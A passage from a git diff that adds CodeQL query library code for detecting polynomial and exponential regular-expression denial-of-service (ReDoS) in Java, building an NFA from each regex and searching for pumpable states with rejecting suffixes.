+    this.getName().toLowerCase().matches(["%get%path%", "get%user%", "%querystring%"])
+  }
+}
+
+/** A configuration for Polynomial ReDoS queries. */
+class PolynomialRedosConfig extends TaintTracking::Configuration {
+  PolynomialRedosConfig() { this = "PolynomialRedosConfig" }
+
+  override predicate isSource(DataFlow::Node src) { src instanceof RemoteFlowSource }
+
+  override predicate isSink(DataFlow::Node sink) { sink instanceof PolynomialRedosSink }
+
+  override predicate isSanitizer(DataFlow::Node node) {
+    node.getType() instanceof PrimitiveType or
+    node.getType() instanceof BoxedType or
+    node.asExpr().(MethodAccess).getMethod() instanceof LengthRestrictedMethod
+  }
+}
+
+/** Holds if there is flow from `source` to `sink` that is matched against the regexp term `regexp` that is vulnerable to Polynomial ReDoS. */
+predicate hasPolynomialReDoSResult(
+  DataFlow::PathNode source, DataFlow::PathNode sink, PolynomialBackTrackingTerm regexp
+) {
+  any(PolynomialRedosConfig config).hasFlowPath(source, sink) and
+  regexp.getRootTerm() = sink.getNode().(PolynomialRedosSink).getRegExp()
+}
diff --git a/java/ql/lib/semmle/code/java/security/performance/ReDoSUtil.qll b/java/ql/lib/semmle/code/java/security/performance/ReDoSUtil.qll
new file mode 100644
index 00000000000..8aa348bf62f
--- /dev/null
+++ b/java/ql/lib/semmle/code/java/security/performance/ReDoSUtil.qll
@@ -0,0 +1,1198 @@
+/**
+ * Provides classes for working with regular expressions that can
+ * perform backtracking in superlinear/exponential time.
+ *
+ * This module contains a number of utility predicates for compiling a regular expression into a NFA and reasoning about this NFA.
+ *
+ * The `ReDoSConfiguration` contains a `isReDoSCandidate` predicate that is used to
+ * to determine which states the prefix/suffix search should happen on.
+ * There is only meant to exist one `ReDoSConfiguration` at a time.
+ *
+ * The predicate `hasReDoSResult` outputs a de-duplicated set of
+ * states that will cause backtracking (a rejecting suffix exists).
+ */
+
+import ReDoSUtilSpecific
+
+/**
+ * A configuration for which parts of a regular expression should be considered relevant for
+ * the different predicates in `ReDoS.qll`.
+ * Used to adjust the computations for either superlinear or exponential backtracking.
+ */
+abstract class ReDoSConfiguration extends string {
+  bindingset[this]
+  ReDoSConfiguration() { any() }
+
+  /**
+   * Holds if `state` with the pump string `pump` is a candidate for a
+   * ReDoS vulnerable state.
+   * This is used to determine which states are considered for the prefix/suffix construction.
+   */
+  abstract predicate isReDoSCandidate(State state, string pump);
+}
+
+/**
+ * Holds if repeating `pump` starting at `state` is a candidate for causing backtracking.
+ * No check whether a rejected suffix exists has been made.
+ */
+private predicate isReDoSCandidate(State state, string pump) {
+  any(ReDoSConfiguration conf).isReDoSCandidate(state, pump) and
+  (
+    not any(ReDoSConfiguration conf).isReDoSCandidate(epsilonSucc+(state), _)
+    or
+    epsilonSucc+(state) = state and
+    state =
+      max(State s, Location l |
+        s = epsilonSucc+(state) and
+        l = s.getRepr().getLocation() and
+        any(ReDoSConfiguration conf).isReDoSCandidate(s, _) and
+        s.getRepr() instanceof InfiniteRepetitionQuantifier
+      |
+        s order by l.getStartLine(), l.getStartColumn(), l.getEndColumn(), l.getEndLine()
+      )
+  )
+}
+
+/**
+ * Gets the char after `c` (from a simplified ASCII table).
+ */
+private string nextChar(string c) { exists(int code | code = ascii(c) | code + 1 = ascii(result)) }
+
+/**
+ * Gets an approximation for the ASCII code for `char`.
+ * Only the easily printable chars are included (so no newline, tab, null, etc).
+ */
+private int ascii(string char) {
+  char =
+    rank[result](string c |
+      c =
+        "! \"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
+            .charAt(_)
+    )
+}
+
+/**
+ * Holds if `t` matches at least an epsilon symbol.
+ *
+ * That is, this term does not restrict the language of the enclosing regular expression.
+ *
+ * This is implemented as an under-approximation, and this predicate does not hold for sub-patterns in particular.
+ */
+predicate matchesEpsilon(RegExpTerm t) {
+  t instanceof RegExpStar
+  or
+  t instanceof RegExpOpt
+  or
+  t.(RegExpRange).getLowerBound() = 0
+  or
+  exists(RegExpTerm child |
+    child = t.getAChild() and
+    matchesEpsilon(child)
+  |
+    t instanceof RegExpAlt or
+    t instanceof RegExpGroup or
+    t instanceof RegExpPlus or
+    t instanceof RegExpRange
+  )
+  or
+  matchesEpsilon(t.(RegExpBackRef).getGroup())
+  or
+  forex(RegExpTerm child | child = t.(RegExpSequence).getAChild() | matchesEpsilon(child))
+}
+
+/**
+ * A lookahead/lookbehind that matches the empty string.
+ */
+class EmptyPositiveSubPatttern extends RegExpSubPattern {
+  EmptyPositiveSubPatttern() {
+    (
+      this instanceof RegExpPositiveLookahead
+      or
+      this instanceof RegExpPositiveLookbehind
+    ) and
+    matchesEpsilon(this.getOperand())
+  }
+}
+
+/**
+ * A branch in a disjunction that is the root node in a literal, or a literal
+ * whose root node is not a disjunction.
+ */
+class RegExpRoot extends RegExpTerm {
+  RegExpRoot() {
+    exists(RegExpParent parent |
+      exists(RegExpAlt alt |
+        alt.isRootTerm() and
+        this = alt.getAChild() and
+        parent = alt.getParent()
+      )
+      or
+      this.isRootTerm() and
+      not this instanceof RegExpAlt and
+      parent = this.getParent()
+    )
+  }
+
+  /**
+   * Holds if this root term is relevant to the ReDoS analysis.
+   */
+  predicate isRelevant() {
+    // there is at least one repetition
+    getRoot(any(InfiniteRepetitionQuantifier q)) = this and
+    // is actually used as a RegExp
+    this.isUsedAsRegExp() and
+    // not excluded for library specific reasons
+    not isExcluded(this.getRootTerm().getParent())
+  }
+}
+
+/**
+ * A constant in a regular expression that represents valid Unicode character(s).
+ */
+private class RegexpCharacterConstant extends RegExpConstant {
+  RegexpCharacterConstant() { this.isCharacter() }
+}
+
+/**
+ * A regexp term that is relevant for this ReDoS analysis.
+ */
+class RelevantRegExpTerm extends RegExpTerm {
+  RelevantRegExpTerm() { getRoot(this).isRelevant() }
+}
+
+/**
+ * Holds if `term` is the chosen canonical representative for all terms with string representation `str`.
+ * The string representation includes which flags are used with the regular expression.
+ *
+ * Using canonical representatives gives a huge performance boost when working with tuples containing multiple `InputSymbol`s.
+ * The number of `InputSymbol`s is decreased by 3 orders of magnitude or more in some larger benchmarks.
+ */
+private predicate isCanonicalTerm(RelevantRegExpTerm term, string str) {
+  term =
+    min(RelevantRegExpTerm t, Location loc, File file |
+      loc = t.getLocation() and
+      file = t.getFile() and
+      str = t.getRawValue() + "|" + getCanonicalizationFlags(t.getRootTerm())
+    |
+      t order by t.getFile().getRelativePath(), loc.getStartLine(), loc.getStartColumn()
+    )
+}
+
+/**
+ * Gets a string reperesentation of the flags used with the regular expression.
+ * Only the flags that are relevant for the canonicalization are included.
+ */
+string getCanonicalizationFlags(RegExpTerm root) {
+  root.isRootTerm() and
+  (if RegExpFlags::isIgnoreCase(root) then result = "i" else result = "")
+}
+
+/**
+ * An abstract input symbol, representing a set of concrete characters.
+ */
+private newtype TInputSymbol =
+  /** An input symbol corresponding to character `c`. */
+  Char(string c) {
+    c =
+      any(RegexpCharacterConstant cc |
+        cc instanceof RelevantRegExpTerm and
+        not RegExpFlags::isIgnoreCase(cc.getRootTerm())
+      ).getValue().charAt(_)
+    or
+    // normalize everything to lower case if the regexp is case insensitive
+    c =
+      any(RegexpCharacterConstant cc, string char |
+        cc instanceof RelevantRegExpTerm and
+        RegExpFlags::isIgnoreCase(cc.getRootTerm()) and
+        char = cc.getValue().charAt(_)
+      |
+        char.toLowerCase()
+      )
+  } or
+  /**
+   * An input symbol representing all characters matched by
+   * a (non-universal) character class that has string representation `charClassString`.
+   */
+  CharClass(string charClassString) {
+    exists(RelevantRegExpTerm recc | isCanonicalTerm(recc, charClassString) |
+      recc instanceof RegExpCharacterClass and
+      not recc.(RegExpCharacterClass).isUniversalClass()
+      or
+      isEscapeClass(recc, _)
+    )
+  } or
+  /** An input symbol representing all characters matched by `.`. */
+  Dot() or
+  /** An input symbol representing all characters. */
+  Any() or
+  /** An epsilon transition in the automaton. */
+  Epsilon()
+
+/**
+ * Gets the canonical CharClass for `term`.
+ */
+CharClass getCanonicalCharClass(RegExpTerm term) {
+  exists(string str | isCanonicalTerm(term, str) | result = CharClass(str))
+}
+
+/**
+ * Holds if `a` and `b` are input symbols from the same regexp.
+ */
+private predicate sharesRoot(TInputSymbol a, TInputSymbol b) {
+  exists(RegExpRoot root |
+    belongsTo(a, root) and
+    belongsTo(b, root)
+  )
+}
+
+/**
+ * Holds if the `a` is an input symbol from a regexp that has root `root`.
+ */
+private predicate belongsTo(TInputSymbol a, RegExpRoot root) {
+  exists(State s | getRoot(s.getRepr()) = root |
+    delta(s, a, _)
+    or
+    delta(_, a, s)
+  )
+}
+
+/**
+ * An abstract input symbol, representing a set of concrete characters.
+ */
+class InputSymbol extends TInputSymbol {
+  InputSymbol() { not this instanceof Epsilon }
+
+  /**
+   * Gets a string representation of this input symbol.
+   */
+  string toString() {
+    this = Char(result)
+    or
+    this = CharClass(result)
+    or
+    this = Dot() and result = "."
+    or
+    this = Any() and result = "[^]"
+  }
+}
+
+/**
+ * An abstract input symbol that represents a character class.
+ */
+abstract class CharacterClass extends InputSymbol {
+  /**
+   * Gets a character that is relevant for intersection-tests involving this
+   * character class.
+   *
+   * Specifically, this is any of the characters mentioned explicitly in the
+   * character class, offset by one if it is inverted. For character class escapes,
+   * the result is as if the class had been written out as a series of intervals.
+   *
+   * This set is large enough to ensure that for any two intersecting character
+   * classes, one contains a relevant character from the other.
+   */
+  abstract string getARelevantChar();
+
+  /**
+   * Holds if this character class matches `char`.
+   */
+  bindingset[char]
+  abstract predicate matches(string char);
+
+  /**
+   * Gets a character matched by this character class.
+   */
+  string choose() { result = this.getARelevantChar() and this.matches(result) }
+}
+
+/**
+ * Provides implementations for `CharacterClass`.
+ */
+private module CharacterClasses {
+  /**
+   * Holds if the character class `cc` has a child (constant or range) that matches `char`.
+   */
+  pragma[noinline]
+  predicate hasChildThatMatches(RegExpCharacterClass cc, string char) {
+    if RegExpFlags::isIgnoreCase(cc.getRootTerm())
+    then
+      // normalize everything to lower case if the regexp is case insensitive
+      exists(string c | hasChildThatMatchesIgnoringCasingFlags(cc, c) | char = c.toLowerCase())
+    else hasChildThatMatchesIgnoringCasingFlags(cc, char)
+  }
+
+  /**
+   * Holds if the character class `cc` has a child (constant or range) that matches `char`.
+   * Ignores whether the character class is inside a regular expression that has the ignore case flag.
+   */
+  pragma[noinline]
+  predicate hasChildThatMatchesIgnoringCasingFlags(RegExpCharacterClass cc, string char) {
+    exists(getCanonicalCharClass(cc)) and
+    exists(RegExpTerm child | child = cc.getAChild() |
+      char = child.(RegexpCharacterConstant).getValue()
+      or
+      rangeMatchesOnLetterOrDigits(child, char)
+      or
+      not rangeMatchesOnLetterOrDigits(child, _) and
+      char = getARelevantChar() and
+      exists(string lo, string hi | child.(RegExpCharacterRange).isRange(lo, hi) |
+        lo <= char and
+        char <= hi
+      )
+      or
+      exists(string charClass | isEscapeClass(child, charClass) |
+        charClass.toLowerCase() = charClass and
+        classEscapeMatches(charClass, char)
+        or
+        char = getARelevantChar() and
+        charClass.toUpperCase() = charClass and
+        not classEscapeMatches(charClass, char)
+      )
+    )
+  }
+
+  /**
+   * Holds if `range` is a range on lower-case, upper-case, or digits, and matches `char`.
+   * This predicate is used to restrict the searchspace for ranges by only joining `getAnyPossiblyMatchedChar`
+   * on a few ranges.
+   */
+  private predicate rangeMatchesOnLetterOrDigits(RegExpCharacterRange range, string char) {
+    exists(string lo, string hi |
+      range.isRange(lo, hi) and lo = lowercaseLetter() and hi = lowercaseLetter()
+    |
+      lo <= char and
+      char <= hi and
+      char = lowercaseLetter()
+    )
+    or
+    exists(string lo, string hi |
+      range.isRange(lo, hi) and lo = upperCaseLetter() and hi = upperCaseLetter()
+    |
+      lo <= char and
+      char <= hi and
+      char = upperCaseLetter()
+    )
+    or
+    exists(string lo, string hi | range.isRange(lo, hi) and lo = digit() and hi = digit() |
+      lo <= char and
+      char <= hi and
+      char = digit()
+    )
+  }
+
+  private string lowercaseLetter() { result = "abdcefghijklmnopqrstuvwxyz".charAt(_) }
+
+  private string upperCaseLetter() { result = "ABCDEFGHIJKLMNOPQRSTUVWXYZ".charAt(_) }
+
+  private string digit() { result = [0 .. 9].toString() }
+
+  /**
+   * Gets a char that could be matched by a regular expression.
+   * Includes all printable ascii chars, all constants mentioned in a regexp, and all chars matches by the regexp `/\s|\d|\w/`.
+   */
+  string getARelevantChar() {
+    exists(ascii(result))
+    or
+    exists(RegexpCharacterConstant c | result = c.getValue().charAt(_))
+    or
+    classEscapeMatches(_, result)
+  }
+
+  /**
+   * Gets a char that is mentioned in the character class `c`.
+   */
+  private string getAMentionedChar(RegExpCharacterClass c) {
+    exists(RegExpTerm child | child = c.getAChild() |
+      result = child.(RegexpCharacterConstant).getValue()
+      or
+      child.(RegExpCharacterRange).isRange(result, _)
+      or
+      child.(RegExpCharacterRange).isRange(_, result)
+      or
+      exists(string charClass | isEscapeClass(child, charClass) |
+        result = min(string s | classEscapeMatches(charClass.toLowerCase(), s))
+        or
+        result = max(string s | classEscapeMatches(charClass.toLowerCase(), s))
+      )
+    )
+  }
+
+  /**
+   * An implementation of `CharacterClass` for positive (non inverted) character classes.
+   */
+  private class PositiveCharacterClass extends CharacterClass {
+    RegExpCharacterClass cc;
+
+    PositiveCharacterClass() { this = getCanonicalCharClass(cc) and not cc.isInverted() }
+
+    override string getARelevantChar() { result = getAMentionedChar(cc) }
+
+    override predicate matches(string char) { hasChildThatMatches(cc, char) }
+  }
+
+  /**
+   * An implementation of `CharacterClass` for inverted character classes.
+   */
+  private class InvertedCharacterClass extends CharacterClass {
+    RegExpCharacterClass cc;
+
+    InvertedCharacterClass() { this = getCanonicalCharClass(cc) and cc.isInverted() }
+
+    override string getARelevantChar() {
+      result = nextChar(getAMentionedChar(cc)) or
+      nextChar(result) = getAMentionedChar(cc)
+    }
+
+    bindingset[char]
+    override predicate matches(string char) { not hasChildThatMatches(cc, char) }
+  }
+
+  /**
+   * Holds if the character class escape `clazz` (\d, \s, or \w) matches `char`.
+   */
+  pragma[noinline]
+  private predicate classEscapeMatches(string clazz, string char) {
+    clazz = "d" and
+    char = "0123456789".charAt(_)
+    or
+    clazz = "s" and
+    char = [" ", "\t", "\r", "\n", 11.toUnicode(), 12.toUnicode()] // 11.toUnicode() = \v, 12.toUnicode() = \f
+    or
+    clazz = "w" and
+    char = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_".charAt(_)
+  }
+
+  /**
+   * An implementation of `CharacterClass` for \d, \s, and \w.
+   */
+  private class PositiveCharacterClassEscape extends CharacterClass {
+    string charClass;
+
+    PositiveCharacterClassEscape() {
+      exists(RegExpTerm cc |
+        isEscapeClass(cc, charClass) and
+        this = getCanonicalCharClass(cc) and
+        charClass = ["d", "s", "w"]
+      )
+    }
+
+    override string getARelevantChar() {
+      charClass = "d" and
+      result = ["0", "9"]
+      or
+      charClass = "s" and
+      result = " "
+      or
+      charClass = "w" and
+      result = ["a", "Z", "_", "0", "9"]
+    }
+
+    override predicate matches(string char) { classEscapeMatches(charClass, char) }
+
+    override string choose() {
+      charClass = "d" and
+      result = "9"
+      or
+      charClass = "s" and
+      result = " "
+      or
+      charClass = "w" and
+      result = "a"
+    }
+  }
+
+  /**
+   * An implementation of `CharacterClass` for \D, \S, and \W.
+   */
+  private class NegativeCharacterClassEscape extends CharacterClass {
+    string charClass;
+
+    NegativeCharacterClassEscape() {
+      exists(RegExpTerm cc |
+        isEscapeClass(cc, charClass) and
+        this = getCanonicalCharClass(cc) and
+        charClass = ["D", "S", "W"]
+      )
+    }
+
+    override string getARelevantChar() {
+      charClass = "D" and
+      result = ["a", "Z", "!"]
+      or
+      charClass = "S" and
+      result = ["a", "9", "!"]
+      or
+      charClass = "W" and
+      result = [" ", "!"]
+    }
+
+    bindingset[char]
+    override predicate matches(string char) {
+      not classEscapeMatches(charClass.toLowerCase(), char)
+    }
+  }
+}
+
+private class EdgeLabel extends TInputSymbol {
+  string toString() {
+    this = Epsilon() and result = ""
+    or
+    exists(InputSymbol s | this = s and result = s.toString())
+  }
+}
+
+/**
+ * A RegExp term that acts like a plus.
+ * Either it's a RegExpPlus, or it is a range {1,X} where X is >= 30.
+ * 30 has been chosen as a threshold because for exponential blowup 2^30 is enough to get a decent DOS attack.
+ */
+private class EffectivelyPlus extends RegExpTerm {
+  EffectivelyPlus() {
+    this instanceof RegExpPlus
+    or
+    exists(RegExpRange range |
+      range.getLowerBound() = 1 and
+      (range.getUpperBound() >= 30 or not exists(range.getUpperBound()))
+    |
+      this = range
+    )
+  }
+}
+
+/**
+ * A RegExp term that acts like a star.
+ * Either it's a RegExpStar, or it is a range {0,X} where X is >= 30.
+ */
+private class EffectivelyStar extends RegExpTerm {
+  EffectivelyStar() {
+    this instanceof RegExpStar
+    or
+    exists(RegExpRange range |
+      range.getLowerBound() = 0 and
+      (range.getUpperBound() >= 30 or not exists(range.getUpperBound()))
+    |
+      this = range
+    )
+  }
+}
+
+/**
+ * A RegExp term that acts like a question mark.
+ * Either it's a RegExpQuestion, or it is a range {0,1}.
+ */
+private class EffectivelyQuestion extends RegExpTerm {
+  EffectivelyQuestion() {
+    this instanceof RegExpOpt
+    or
+    exists(RegExpRange range | range.getLowerBound() = 0 and range.getUpperBound() = 1 |
+      this = range
+    )
+  }
+}
+
+/**
+ * Gets the state before matching `t`.
+ */
+pragma[inline]
+private State before(RegExpTerm t) { result = Match(t, 0) }
+
+/**
+ * Gets a state the NFA may be in after matching `t`.
+ */
+State after(RegExpTerm t) {
+  exists(RegExpAlt alt | t = alt.getAChild() | result = after(alt))
+  or
+  exists(RegExpSequence seq, int i | t = seq.getChild(i) |
+    result = before(seq.getChild(i + 1))
+    or
+    i + 1 = seq.getNumChild() and result = after(seq)
+  )
+  or
+  exists(RegExpGroup grp | t = grp.getAChild() | result = after(grp))
+  or
+  exists(EffectivelyStar star | t = star.getAChild() |
+    not isPossessive(star) and
+    result = before(star)
+  )
+  or
+  exists(EffectivelyPlus plus | t = plus.getAChild() |
+    not isPossessive(plus) and
+    result = before(plus)
+    or
+    result = after(plus)
+  )
+  or
+  exists(EffectivelyQuestion opt | t = opt.getAChild() | result = after(opt))
+  or
+  exists(RegExpRoot root | t = root |
+    if matchesAnySuffix(root) then result = AcceptAnySuffix(root) else result = Accept(root)
+  )
+}
+
+/**
+ * Holds if the NFA has a transition from `q1` to `q2` labelled with `lbl`.
+ */
+predicate delta(State q1, EdgeLabel lbl, State q2) {
+  exists(RegexpCharacterConstant s, int i |
+    q1 = Match(s, i) and
+    (
+      not RegExpFlags::isIgnoreCase(s.getRootTerm()) and
+      lbl = Char(s.getValue().charAt(i))
+      or
+      // normalize everything to lower case if the regexp is case insensitive
+      RegExpFlags::isIgnoreCase(s.getRootTerm()) and
+      exists(string c | c = s.getValue().charAt(i) | lbl = Char(c.toLowerCase()))
+    ) and
+    (
+      q2 = Match(s, i + 1)
+      or
+      s.getValue().length() = i + 1 and
+      q2 = after(s)
+    )
+  )
+  or
+  exists(RegExpDot dot | q1 = before(dot) and q2 = after(dot) |
+    if RegExpFlags::isDotAll(dot.getRootTerm()) then lbl = Any() else lbl = Dot()
+  )
+  or
+  exists(RegExpCharacterClass cc |
+    cc.isUniversalClass() and q1 = before(cc) and lbl = Any() and q2 = after(cc)
+    or
+    q1 = before(cc) and
+    lbl = CharClass(cc.getRawValue() + "|" + getCanonicalizationFlags(cc.getRootTerm())) and
+    q2 = after(cc)
+  )
+  or
+  exists(RegExpTerm cc | isEscapeClass(cc, _) |
+    q1 = before(cc) and
+    lbl = CharClass(cc.getRawValue() + "|" + getCanonicalizationFlags(cc.getRootTerm())) and
+    q2 = after(cc)
+  )
+  or
+  exists(RegExpAlt alt | lbl = Epsilon() | q1 = before(alt) and q2 = before(alt.getAChild()))
+  or
+  exists(RegExpSequence seq | lbl = Epsilon() | q1 = before(seq) and q2 = before(seq.getChild(0)))
+  or
+  exists(RegExpGroup grp | lbl = Epsilon() | q1 = before(grp) and q2 = before(grp.getChild(0)))
+  or
+  exists(EffectivelyStar star | lbl = Epsilon() |
+    q1 = before(star) and q2 = before(star.getChild(0))
+    or
+    q1 = before(star) and q2 = after(star)
+  )
+  or
+  exists(EffectivelyPlus plus | lbl = Epsilon() |
+    q1 = before(plus) and q2 = before(plus.getChild(0))
+  )
+  or
+  exists(EffectivelyQuestion opt | lbl = Epsilon() |
+    q1 = before(opt) and q2 = before(opt.getChild(0))
+    or
+    q1 = before(opt) and q2 = after(opt)
+  )
+  or
+  exists(RegExpRoot root | q1 = AcceptAnySuffix(root) |
+    lbl = Any() and q2 = q1
+    or
+    lbl = Epsilon() and q2 = Accept(root)
+  )
+  or
+  exists(RegExpRoot root | q1 = Match(root, 0) | matchesAnyPrefix(root) and lbl = Any() and q2 = q1)
+  or
+  exists(RegExpDollar dollar | q1 = before(dollar) |
+    lbl = Epsilon() and q2 = Accept(getRoot(dollar))
+  )
+  or
+  exists(EmptyPositiveSubPatttern empty | q1 = before(empty) |
+    lbl = Epsilon() and q2 = after(empty)
+  )
+}
+
+/**
+ * Gets a state that `q` has an epsilon transition to.
+ */
+State epsilonSucc(State q) { delta(q, Epsilon(), result) }
+
+/**
+ * Gets a state that has an epsilon transition to `q`.
+ */
+State epsilonPred(State q) { q = epsilonSucc(result) }
+
+/**
+ * Holds if there is a state `q` that can be reached from `q1`
+ * along epsilon edges, such that there is a transition from
+ * `q` to `q2` that consumes symbol `s`.
+ */
+predicate deltaClosed(State q1, InputSymbol s, State q2) { delta(epsilonSucc*(q1), s, q2) }
+
+/**
+ * Gets the root containing the given term, that is, the root of the literal,
+ * or a branch of the root disjunction.
+ */
+RegExpRoot getRoot(RegExpTerm term) {
+  result = term or
+  result = getRoot(term.getParent())
+}
+
+/**
+ * A state in the NFA.
+ */
+newtype TState =
+  /**
+   * A state representing that the NFA is about to match a term.
+   * `i` is used to index into multi-char literals.
+   */
+  Match(RelevantRegExpTerm t, int i) {
+    i = 0
+    or
+    exists(t.(RegexpCharacterConstant).getValue().charAt(i))
+  } or
+  /**
+   * An accept state, where exactly the given input string is accepted.
+   */
+  Accept(RegExpRoot l) { l.isRelevant() } or
+  /**
+   * An accept state, where the given input string, or any string that has this
+   * string as a prefix, is accepted.
+   */
+  AcceptAnySuffix(RegExpRoot l) { l.isRelevant() }
+
+/**
+ * Gets a state that is about to match the regular expression `t`.
+ */
+State mkMatch(RegExpTerm t) { result = Match(t, 0) }
+
+/**
+ * A state in the NFA corresponding to a regular expression.
+ *
+ * Each regular expression literal `l` has one accepting state
+ * `Accept(l)`, one state that accepts all suffixes `AcceptAnySuffix(l)`,
+ * and a state `Match(t, i)` for every subterm `t`,
+ * which represents the state of the NFA before starting to
+ * match `t`, or the `i`th character in `t` if `t` is a constant.
+ */
+class State extends TState {
+  RegExpTerm repr;
+
+  State() {
+    this = Match(repr, _) or
+    this = Accept(repr) or
+    this = AcceptAnySuffix(repr)
+  }
+
+  /**
+   * Gets a string representation for this state in a regular expression.
+   */
+  string toString() {
+    exists(int i | this = Match(repr, i) | result = "Match(" + repr + "," + i + ")")
+    or
+    this instanceof Accept and
+    result = "Accept(" + repr + ")"
+    or
+    this instanceof AcceptAnySuffix and
+    result = "AcceptAny(" + repr + ")"
+  }
+
+  /**
+   * Gets the location for this state.
+   */
+  Location getLocation() { result = repr.getLocation() }
+
+  /**
+   * Gets the term represented by this state.
+   */
+  RegExpTerm getRepr() { result = repr }
+}
+
+/**
+ * Gets the minimum char that is matched by both the character classes `c` and `d`.
+ */
+private string getMinOverlapBetweenCharacterClasses(CharacterClass c, CharacterClass d) {
+  result = min(getAOverlapBetweenCharacterClasses(c, d))
+}
+
+/**
+ * Gets a char that is matched by both the character classes `c` and `d`.
+ * And `c` and `d` is not the same character class.
+ */
+private string getAOverlapBetweenCharacterClasses(CharacterClass c, CharacterClass d) {
+  sharesRoot(c, d) and
+  result = [c.getARelevantChar(), d.getARelevantChar()] and
+  c.matches(result) and
+  d.matches(result) and
+  not c = d
+}
+
+/**
+ * Gets a character that is represented by both `c` and `d`.
+ */
+string intersect(InputSymbol c, InputSymbol d) {
+  (sharesRoot(c, d) or [c, d] = Any()) and
+  (
+    c = Char(result) and
+    d = getAnInputSymbolMatching(result)
+    or
+    result = getMinOverlapBetweenCharacterClasses(c, d)
+    or
+    result = c.(CharacterClass).choose() and
+    (
+      d = c
+      or
+      d = Dot() and
+      not (result = "\n" or result = "\r")
+      or
+      d = Any()
+    )
+    or
+    (c = Dot() or c = Any()) and
+    (d = Dot() or d = Any()) and
+    result = "a"
+  )
+  or
+  result = intersect(d, c)
+}
+
+/**
+ * Gets a symbol that matches `char`.
+ */
+bindingset[char]
+InputSymbol getAnInputSymbolMatching(string char) {
+  result = Char(char)
+  or
+  result.(CharacterClass).matches(char)
+  or
+  result = Dot() and
+  not (char = "\n" or char = "\r")
+  or
+  result = Any()
+}
+
+/**
+ * Holds if `state` is a start state.
+ */
+predicate isStartState(State state) {
+  state = mkMatch(any(RegExpRoot r))
+  or
+  exists(RegExpCaret car | state = after(car))
+}
+
+/**
+ * Predicates for constructing a prefix string that leads to a given state.
+ */
+private module PrefixConstruction {
+  /**
+   * Holds if `state` is the textually last start state for the regular expression.
+   */
+  private predicate lastStartState(State state) {
+    exists(RegExpRoot root |
+      state =
+        max(StateInPumpableRegexp s, Location l |
+          isStartState(s) and getRoot(s.getRepr()) = root and l = s.getRepr().getLocation()
+        |
+          s
+          order by
+            l.getStartLine(), l.getStartColumn(), s.getRepr().toString(), l.getEndColumn(),
+            l.getEndLine()
+        )
+    )
+  }
+
+  /**
+   * Holds if there exists any transition (Epsilon() or other) from `a` to `b`.
+   */
+  private predicate existsTransition(State a, State b) { delta(a, _, b) }
+
+  /**
+   * Gets the minimum number of transitions it takes to reach `state` from the `start` state.
+   */
+  int prefixLength(State start, State state) =
+    shortestDistances(lastStartState/1, existsTransition/2)(start, state, result)
+
+  /**
+   * Gets the minimum number of transitions it takes to reach `state` from the start state.
+   */
+  private int lengthFromStart(State state) { result = prefixLength(_, state) }
+
+  /**
+   * Gets a string for which the regular expression will reach `state`.
+   *
+   * Has at most one result for any given `state`.
+   * This predicate will not always have a result even if there is a ReDoS issue in
+   * the regular expression.
+   */
+  string prefix(State state) {
+    lastStartState(state) and
+    result = ""
+    or
+    // the search stops past the last redos candidate state.
+    lengthFromStart(state) <= max(lengthFromStart(any(State s | isReDoSCandidate(s, _)))) and
+    exists(State prev |
+      // select a unique predecessor (by an arbitrary measure)
+      prev =
+        min(State s, Location loc |
+          lengthFromStart(s) = lengthFromStart(state) - 1 and
+          loc = s.getRepr().getLocation() and
+          delta(s, _, state)
+        |
+          s
+          order by
+            loc.getStartLine(), loc.getStartColumn(), loc.getEndLine(), loc.getEndColumn(),
+            s.getRepr().toString()
+        )
+    |
+      // greedy search for the shortest prefix
+      result = prefix(prev) and delta(prev, Epsilon(), state)
+      or
+      not delta(prev, Epsilon(), state) and
+      result = prefix(prev) + getCanonicalEdgeChar(prev, state)
+    )
+  }
+
+  /**
+   * Gets a canonical char for which there exists a transition from `prev` to `next` in the NFA.
+   */
+  private string getCanonicalEdgeChar(State prev, State next) {
+    result =
+      min(string c | delta(prev, any(InputSymbol symbol | c = intersect(Any(), symbol)), next))
+  }
+
+  /**
+   * A state within a regular expression that has a pumpable state.
+   */
+  class StateInPumpableRegexp extends State {
+    pragma[noinline]
+    StateInPumpableRegexp() {
+      exists(State s | isReDoSCandidate(s, _) | getRoot(s.getRepr()) = getRoot(this.getRepr()))
+    }
+  }
+}
+
+/**
+ * Predicates for testing the presence of a rejecting suffix.
+ *
+ * These predicates are used to ensure that the all states reached from the fork
+ * by repeating `w` have a rejecting suffix.
+ *
+ * For example, a regexp like `/^(a+)+/` will accept any string as long the prefix is
+ * some number of `"a"`s, and it is therefore not possible to construct a rejecting suffix.
+ *
+ * A regexp like `/(a+)+$/` or `/(a+)+b/` trivially has a rejecting suffix,
+ * as the suffix "X" will cause both the regular expressions to be rejected.
+ *
+ * The string `w` is repeated any number of times because it needs to be
+ * infinitely repeatedable for the attack to work.
+ * For the regular expression `/((ab)+)*abab/` the accepting state is not reachable from the fork
+ * using epsilon transitions. But any attempt at repeating `w` will end in a state that accepts all suffixes.
+ */
+private module SuffixConstruction {
+  import PrefixConstruction
+
+  /**
+   * Holds if all states reachable from `fork` by repeating `w`
+   * are likely rejectable by appending some suffix.
+   */
+  predicate reachesOnlyRejectableSuffixes(State fork, string w) {
+    isReDoSCandidate(fork, w) and
+    forex(State next | next = process(fork, w, w.length() - 1) | isLikelyRejectable(next))
+  }
+
+  /**
+   * Holds if there likely exists a suffix starting from `s` that leads to the regular expression being rejected.
+   * This predicate might find impossible suffixes when searching for suffixes of length > 1, which can cause FPs.
+   */
+  pragma[noinline]
+  private predicate isLikelyRejectable(StateInPumpableRegexp s) {
+    // exists a reject edge with some char.
+    hasRejectEdge(s)
+    or
+    hasEdgeToLikelyRejectable(s)
+    or
+    // stopping here is rejection
+    isRejectState(s)
+  }
+
+  /**
+   * Holds if `s` is not an accept state, and there is no epsilon transition to an accept state.
+   */
+  predicate isRejectState(StateInPumpableRegexp s) { not epsilonSucc*(s) = Accept(_) }
+
+  /**
+   * Holds if there is likely a non-empty suffix leading to rejection starting in `s`.
+   */
+  pragma[noopt]
+  predicate hasEdgeToLikelyRejectable(StateInPumpableRegexp s) {
+    // all edges (at least one) with some char leads to another state that is rejectable.
+    // the `next` states might not share a common suffix, which can cause FPs.
+    exists(string char | char = hasEdgeToLikelyRejectableHelper(s) |
+      // noopt to force `hasEdgeToLikelyRejectableHelper` to be first in the join-order.
+      exists(State next | deltaClosedChar(s, char, next) | isLikelyRejectable(next)) and
